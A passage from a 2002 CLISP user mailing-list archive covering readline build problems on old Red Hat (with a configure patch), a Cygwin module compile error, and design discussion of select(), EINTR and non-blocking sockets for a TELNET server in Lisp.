Linux 6.2 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 29 Sep 2002 01:11:41.0537 (UTC) FILETIME=[2B413510:01C26755] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 18:12:02 2002 X-Original-Date: Sat, 28 Sep 2002 18:11:41 -0700 > I think you have a _very_ old readline version (where everything was > called "foo" instead of "rl_foo" in the newer readline) > Could you please look at unixconf.h in your build directory and see > what READLINE_FILE_COMPLETE is being defined to? /* CL_READLINE */ /* Define if you have . */ #define HAVE_READLINE_READLINE_H 1 /* Define as const if the declaration of filename_completion_function() needs const in the first argument */ #define READLINE_CONST /* The readline built-in filename completion function, either rl_filename_completion_function() or filename_completion_function() */ #define READLINE_FILE_COMPLETE filename_completion_function > Could you please also look at and see whether it > declares `already_prompted' (instead of 'rl_already_prompted') and > `gnu_readline_p' (instead of `rl_gnu_readline_p') &c. > Thanks. I find no reference to already_prompted nor gnu_readline_p at all, either with or without the rl_ prefix. I grepped all files in /usr/include/readline just to be sure. > I will work out a patch and ask you to try it. > (the easiest way would be for you to use the CVS, of course :-) I promise I'll go read the CVS thing. You needn't make a patch. It'll motivate me to set CVS up. Thanks! Dave From sds@gnu.org Sat Sep 28 19:09:14 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vTWE-0004Wt-00 for ; Sat, 28 Sep 2002 19:09:14 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g8T29gN20114; Sat, 28 Sep 2002 22:09:42 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: Subject: Re: Re[2]: [clisp-list] TCP-based Network Server in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 74 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 19:10:03 2002 X-Original-Date: 28 Sep 2002 22:09:41 -0400 > * In message > * On the subject of "RE: Re[2]: [clisp-list] TCP-based Network Server in CLISP" > * Sent on Sat, 28 Sep 2002 18:00:14 -0700 > * Honorable "Dave Richards" writes: > > > > - SOCKET-STATUS retries upon reception of EINTR. > > > Time passage events are orthoginal, for the most part, but do > > impact how we > > > handle select() EINTRs. Time passage can be handled in one of > > two ways: (1) > > > polling, or (2) via signals. Either way, this impacts how we > > handle EINTR > > > in select(). My current C code uses polling. The last set of > > gprof data I > > > collected showed me in gettimeofday() 3% of the time! My > > goal/desire would > > > be to use an interval timer in the next version. > > > > I am not sure I understand this. > > would you prefer CLISP to signal an error on EINTR? > > C-c does interrupt SOCKET-STATUS already, right? > > Well, rather than dictate a solution (since there are several possibilities) > let me state the problem: > > 1. select() for each socket until network traffix events occurs, i.e. > :input, :output, :io, :error. > 2. Every second execute a LISP function which handles time-based work. > > In a single-threaded environment like CLISP, network traffic and time events > must be multiplexed in such a way that both needs are met (more or less > efficiently). One approach (the one my C code uses) is to pass the time > value (1 second) to select(). This ensures that we'll exit select() in time > to meet our next time event. Unfortunately, with many users connected, we > can exit select() many times per second. Which means we must call > gettimeofday() every loop iteration to see how much longer before we should > process our time events. We subtract the "next time period" from the > current time and pass the difference to select(). This approach, although > simple and seemingly elegant, is also pretty expensive. in CLISP you will be using GET-INTERNAL-REAL-TIME, right? > The second approach would be to use a 1 second interval timer. When > the timer expires, the signal handler would increment a variable. At > the next loop iteration we can use the variable to decide whether to > handle time events (and how many). > > If we poll, EINTR handling isn't very important. In general, CLISP doesn't > receive signals. Therefore, who really cares how we handle EINTR? > > However, in the second (interval timer) case, signals are important. We use > signals to keep track of time. If socket-status re-select()s in the EINTR > case, our time event processing may lag. > > So, the bottom line is, if we poll for time, re-select()ing isn't a big > deal. But if we use setitimer() to handle time, EINTR becomes an issue. > > Make sense? yes. but since I vaguely recall that CLISP uses alarms for other things, I think the first way is the right way. besides, the only reasonable thing to do on EINTR is to signal an error. I hope more OS-savvy people will weigh in here. Bruno, Arseny, please! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Growing Old is Inevitable; Growing Up is Optional. From dan.stanger@ieee.org Sat Sep 28 19:34:41 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vTur-00009b-00 for ; Sat, 28 Sep 2002 19:34:41 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #3) id 17vTun-000380-00 for clisp-list@lists.sourceforge.net; Sat, 28 Sep 2002 20:34:37 -0600 Message-ID: <3D966754.CC94F420@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Problem compiling gdi module with clisp 2.30 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 19:35:01 2002 X-Original-Date: Sat, 28 Sep 2002 20:37:09 -0600 After sucessfully compiling 2.30 using cygwin, I tried to compile the gdi module. It looks like the command line which is used to compile the module does not have the second include properly specified. The command line seems to be coming from the upper level makefile. Any ideas on how to correct this? Thanks, Dan Stanger test -d bindings || mkdir -p bindings test -d gdi || ../src/lndir ../modules/gdi gdi if test -f gdi/configure -a '!' -f gdi/config.status ; then cd gdi ; ./configure --cache-file=`echo gdi/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd gdi ; dots=`echo gdi/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I." INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}stdbool.h ${dots}stdint.h ${dots}libcharset.h" CLFLAGS="-x none" LIBS="-lintl libcharset.a libavcall.a libcallback.a -lreadline -lncurses -liconv " RANLIB="ranlib" CLISP="$CLISP -q" make[1]: Entering directory `/cygdrive/d/clisp-2.30/cygwin-gdi/gdi' gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. ../ -c gdi.c ^ *************************** make[1]: Leaving directory `/cygdrive/d/clisp-2.30/cygwin-gdi/gdi' From ampy@ich.dvo.ru Sat Sep 28 21:20:33 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vVZE-0004rE-00 for ; Sat, 28 Sep 2002 21:20:28 -0700 Received: from ppp124-AS-2.vtc.ru (ppp124-AS-2.vtc.ru [212.16.216.124]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8T4JtUS021614; Sun, 29 Sep 2002 15:20:07 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <18613477449.20020929151923@ich.dvo.ru> To: "Dave Richards" CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] TCP-based Network Server in CLISP In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 21:21:02 2002 X-Original-Date: Sun, 29 Sep 2002 15:19:23 +1000 Hello Dave, Sunday, September 29, 2002, 2:35:14 AM, you wrote: >> >> - an interface to select() >> >> > SOCKET-STATUS > I have two concerns with SOCKET-STATUS as written: > - SOCKET-STATUS does not allow one to select() on exceptional (what CLISP > calls error) conditions. > - SOCKET-STATUS retries upon reception of EINTR. > Errors in the sense of ECONNRESET, ETIMEDOUT, etc. select() true for read > (not exceptional conditions). Exceptional conditions in TCP, for example, > is used to signal the existence of urgent (out-of-band) data. Do you want OOB data handling ? My familiarity with OOB was ended up with this (MSDN) "To minimize interoperability problems, applications writers are advised not to use OOB data unless this is required to interoperate with an existing service." If you want to know if recv or send operation will succeed you can use select and filter some situations, but there can be no guarantee that such operation will succeed. I think only way is to use handler-case or something like it. Do you want to avoid handler-case ? > a loss of temporal continuity exists. please! -- Best regards, Arseny From ampy@ich.dvo.ru Sat Sep 28 21:20:35 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vVZF-0004sJ-00 for ; Sat, 28 Sep 2002 21:20:30 -0700 Received: from ppp124-AS-2.vtc.ru (ppp124-AS-2.vtc.ru [212.16.216.124]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8T4JtUR021614; Sun, 29 Sep 2002 15:20:03 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1813426577.20020929123152@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] TCP-based Network Server in CLISP In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 21:21:03 2002 X-Original-Date: Sun, 29 Sep 2002 12:31:52 +1000 Hello Sam, Sunday, September 29, 2002, 10:11:17 AM, you wrote: >> - SOCKET-STATUS retries upon reception of EINTR. >> Time passage events are orthoginal, for the most part, but do impact how we >> handle select() EINTRs. Time passage can be handled in one of two ways: (1) >> polling, or (2) via signals. Either way, this impacts how we handle EINTR >> in select(). My current C code uses polling. The last set of gprof data I >> collected showed me in gettimeofday() 3% of the time! My goal/desire would >> be to use an interval timer in the next version. > I am not sure I understand this. > would you prefer CLISP to signal an error on EINTR? > C-c does interrupt SOCKET-STATUS already, right? I think Dave wants SOCKET-STATUS never wait longer than directed by time parameter. I don't know about UNIX, in windows WSAEINTR in select means WSACancelBlockingCall was called on socket. -- Best regards, Arseny From dave@synergy.org Sat Sep 28 21:48:24 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vW0F-0005JC-00 for ; Sat, 28 Sep 2002 21:48:23 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sat, 28 Sep 2002 21:48:22 -0700 From: "Dave Richards" To: "Arseny Slobodjuck" Cc: Subject: RE: Re[4]: [clisp-list] TCP-based Network Server in CLISP Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <18613477449.20020929151923@ich.dvo.ru> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 29 Sep 2002 04:48:22.0401 (UTC) FILETIME=[705F9F10:01C26773] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 21:49:03 2002 X-Original-Date: Sat, 28 Sep 2002 21:48:21 -0700 > Do you want OOB data handling ? My familiarity with OOB was ended up with > this (MSDN) The TELNET protocol defines a sequence called "synch" which does use urgent data. My server is a TELNET server. So, yes, I need OOB to handle "synch" correctly (on input). I never generate a "synch" back to the client. > "To minimize interoperability problems, applications writers are > advised not > to use OOB data unless this is required to interoperate with an > existing service." It is. However, I intend to use the (:so-oobinline t) socket option, so the OOB data will be delivered "in-band". > If you want to know if recv or send operation will succeed you can use > select and filter some situations, but there can be no guarantee that > such operation will succeed. I think only way is to use handler-case > or something like it. Do you want to avoid handler-case ? My hope was that I'd mark the socket non-blocking and do partial reads/writes. I have not started reading the I/O functions yet. I think Sam has successfully demonstrated that socket-status ought to meet my needs for select(). Sadly, I have to do time-differencing, but it works in the current server, so... And besides, if that's the only down-side to porting to CLISP, it's hardly worth mentioning. Thanks! Dave From dave@synergy.org Sun Sep 29 11:58:33 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vjGy-0002RU-00 for ; Sun, 29 Sep 2002 11:58:32 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sun, 29 Sep 2002 11:58:30 -0700 From: "Dave Richards" To: Cc: "Hoehle, Joerg-Cyril" , Subject: RE: [clisp-list] TCP-based Network Server in CLISP Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 In-Reply-To: X-OriginalArrivalTime: 29 Sep 2002 18:58:30.0296 (UTC) FILETIME=[3372B980:01C267EA] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 29 11:59:03 2002 X-Original-Date: Sun, 29 Sep 2002 11:58:29 -0700 > "final solution" is a nasty word combination. > > > - an interface to select() > > SOCKET-STATUS Yes. > > - non-blocking sockets > > I can add FIONREAD, FIONWRITE & FIONBIO to SOCKET-OPTIONS. > Would it help? FIONREAD "doubles" the round-trips through the kernel. The first time through you determine how much to read, the second time you actually acquire the data. It's an expensive way to do I/O. I am not aware of an FIONWRITE. FIONBIO is really what is needed. In modern days we typically use O_NONBLOCK. This is an fcntl, not a socket option, btw. > > > - interfaces to partial read()/write() > > partial read is available for buffered streams, I think. > I an add partial write too. I have been working through stream.d and unixaux.d today. I have not yet found code anywhere that handles partial reads or writes in either buffered or unbuffered streams. Where should I be looking? Dave From sds@gnu.org Sun Sep 29 12:14:11 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vjW6-0007jK-00 for ; Sun, 29 Sep 2002 12:14:10 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g8TJEhM04052; Sun, 29 Sep 2002 15:14:43 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: Subject: Re: [clisp-list] TCP-based Network Server in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 29 12:15:02 2002 X-Original-Date: 29 Sep 2002 15:14:43 -0400 > * In message > * On the subject of "RE: [clisp-list] TCP-based Network Server in CLISP" > * Sent on Sun, 29 Sep 2002 11:58:29 -0700 > * Honorable "Dave Richards" writes: > > > > - non-blocking sockets > > > > I can add FIONREAD, FIONWRITE & FIONBIO to SOCKET-OPTIONS. > > Would it help? > > FIONBIO is really what is needed. In modern days we typically use > O_NONBLOCK. Arseny said that FIONBIO will break other things. What about O_NONBLOCK? > This is an fcntl, not a socket option, btw. I know. > > > - interfaces to partial read()/write() > > > > partial read is available for buffered streams, I think. > > I an add partial write too. > > I have been working through stream.d and unixaux.d today. I have not > yet found code anywhere that handles partial reads or writes in either > buffered or unbuffered streams. Where should I be looking? unixaux.d has read_helper() which serves full_read and safe_read. IIUC, the net result is that when read() does not real all the data requested, an error is raised (this is with buffered streams). I can do the same thing for write. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Daddy, what does "format disk c: complete" mean? From sds@gnu.org Sun Sep 29 14:35:00 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vliO-0003hU-00 for ; Sun, 29 Sep 2002 14:35:00 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g8TLZWx25257; Sun, 29 Sep 2002 17:35:32 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: "clisp-list" Subject: Re: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 106 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 29 14:35:06 2002 X-Original-Date: 29 Sep 2002 17:35:32 -0400 > * In message > * On the subject of "RE: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2" > * Sent on Sat, 28 Sep 2002 18:11:41 -0700 > * Honorable "Dave Richards" writes: > > I find no reference to already_prompted nor gnu_readline_p at all, > either with or without the rl_ prefix. I grepped all files in > /usr/include/readline just to be sure. I think your readline is too old for us to use. sorry. please apply the appended patch and reconfigure. you should successfully build without readline (the deficiency should be detected and your readline should be ignored.) only after that you will need to upgrade your readline (if you wish CLISP to use it). BTW, what does "rpm -q readline" says? thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux MS: Brain off-line, please wait. Index: src/configure =================================================================== RCS file: /cvsroot/clisp/clisp/src/configure,v retrieving revision 1.68 diff -u -w -b -r1.68 configure --- src/configure 20 Sep 2002 13:29:52 -0000 1.68 +++ src/configure 29 Sep 2002 21:31:53 -0000 @@ -21687,6 +21687,7 @@ +if test $ac_cv_search_tgetent != no ; then use_additional=yes @@ -22063,7 +22064,6 @@ done fi -if test $ac_cv_search_tgetent != no ; then for ac_header in readline/readline.h do @@ -22178,6 +22178,52 @@ done + echo "$as_me:$LINENO: checking for rl_already_prompted" >&5 +echo $ECHO_N "checking for rl_already_prompted... $ECHO_C" >&6 + cat >conftest.$ac_ext <<_ACEOF +#line $LINENO "configure" +#include "confdefs.h" + +#include +#include + +#ifdef F77_DUMMY_MAIN +# ifdef __cplusplus + extern "C" +# endif + int F77_DUMMY_MAIN() { return 1; } +#endif +int +main () +{ +rl_already_prompted = 1; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_header_readline_readline_h=yes + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 +else + echo "$as_me: failed program was:" >&5 +cat conftest.$ac_ext >&5 +ac_cv_header_readline_readline_h=no + echo "$as_me:$LINENO: result: no; readline is too old and will not be used" >&5 +echo "${ECHO_T}no; readline is too old and will not be used" >&6 +fi +rm -f conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_readline_readline_h = yes ; then echo "$as_me:$LINENO: checking for library containing readline" >&5 echo $ECHO_N "checking for library containing readline... $ECHO_C" >&6 From dave@synergy.org Sun Sep 29 17:27:02 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17voOr-0005jG-00 for ; Sun, 29 Sep 2002 17:27:01 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sun, 29 Sep 2002 17:27:00 -0700 From: "Dave Richards" To: Cc: "clisp-list" Subject: RE: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 30 Sep 2002 00:27:00.0315 (UTC) FILETIME=[1788F2B0:01C26818] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 29 17:28:02 2002 X-Original-Date: Sun, 29 Sep 2002 17:27:00 -0700 > only after that you will need to upgrade your readline (if you wish > CLISP to use it). Which means it's better to stay on 2.29. :) I guess I am going to have to get serious about upgrading my system. Bah! > BTW, what does "rpm -q readline" says? % rpm -q readline readline-2.2.1-6 From sds@gnu.org Sun Sep 29 18:30:47 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vpOZ-0000n1-00 for ; Sun, 29 Sep 2002 18:30:47 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g8U1VHg10842; Sun, 29 Sep 2002 21:31:17 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: "clisp-list" Subject: Re: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 29 18:31:03 2002 X-Original-Date: 29 Sep 2002 21:31:17 -0400 > * In message > * On the subject of "RE: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2" > * Sent on Sun, 29 Sep 2002 17:27:00 -0700 > * Honorable "Dave Richards" writes: > > > only after that you will need to upgrade your readline (if you wish > > CLISP to use it). > Which means it's better to stay on 2.29. :) nope. > I guess I am going to have to > get serious about upgrading my system. Bah! just install readline-4.3 from the sources. but first make sure that the cvs clisp does not use your old readline. then you can configure clisp with ./configure --with-readline=/usr/local/src/readline-4.3 ... (or something like that, try ./src/configure --help for details) > > BTW, what does "rpm -q readline" says? > % rpm -q readline > readline-2.2.1-6 yuk! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Bill Gates is not god and Microsoft is not heaven. From wsj@2mouse.com.tw Sun Sep 29 19:41:06 2002 Received: from 61-219-196-114.hinet-ip.hinet.net ([61.219.196.114] helo=apollo.office.2mouse.com.tw) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vqUZ-0005dD-00 for ; Sun, 29 Sep 2002 19:41:03 -0700 Received: from intel (pc4.office.2mouse.com.tw [192.168.1.4]) by apollo.office.2mouse.com.tw (8.9.3/8.9.3) with SMTP id KAA17709; Mon, 30 Sep 2002 10:26:09 +0800 Reply-To: From: "Wsj" To: "'Arseny Slobodjuck'" Cc: Subject: RE: [clisp-list] Re[4]: Need help to use Chinese Character.. Message-ID: <009201c2682a$a6c5ef20$0401a8c0@intel> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: base64 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <10919369652.20020926220130@ich.dvo.ru> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 29 19:42:01 2002 X-Original-Date: Mon, 30 Sep 2002 10:39:50 +0800 DQo+SSBjYW4gc3VwcG9zZSB0aGF0IHN0YXRlbWVudCB0aGF0IGNhdXNlIHByb2JsZW0gaXMNCj4g IHZhciBpbnQgcmVzdWx0ID0gcmVhZChoYW5kbGUsJmIsMSk7ICMgdHJ5IHRvIHJlYWQgYSBieXRl DQo+aW4gc3RyZWFtLmQgWzQ1NDldIGFuZCBYUCB0aHJvd3MgYW4gZXJyb3Igd2hlbiB0aGVyZSBp cyB0d29ieXRlDQo+Y2hhcmFjdGVyIGluIGJ1ZmZlci4gSXMgdGhlcmUgYW55IHNwZWNpYWxpc3Rz IGluIHRoZSBmaWVsZCA/DQogIEkgaGF2ZSBzb21lIGd1ZXNzLi4uLg0KICAxLiBJcyB0aGUgZXJy b3IgZHVlIHRvIGIncyBzaXplID8NCiAgMi4gQ291bGQgeW91IGluc2VydCBhbm90aGVyIHJlc3Vs dD1yZWFkKGhhbmRsZSwmYywxKTsgIHdoZW4gcmVzdWx0IDwwLCB3aGVyZSBjJ3Mgc2l6ZSBpcyB0 d28gYnl0ZXMgPw0KDQogU2luY2VyZWx5LA0KIFdzag0KDQogIA0KIA0KDQogIA0KDQoNCg== From pjb@informatimago.com Mon Sep 30 03:53:16 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by usw-sf-list1.sourceforge.net with esmtp (Exim 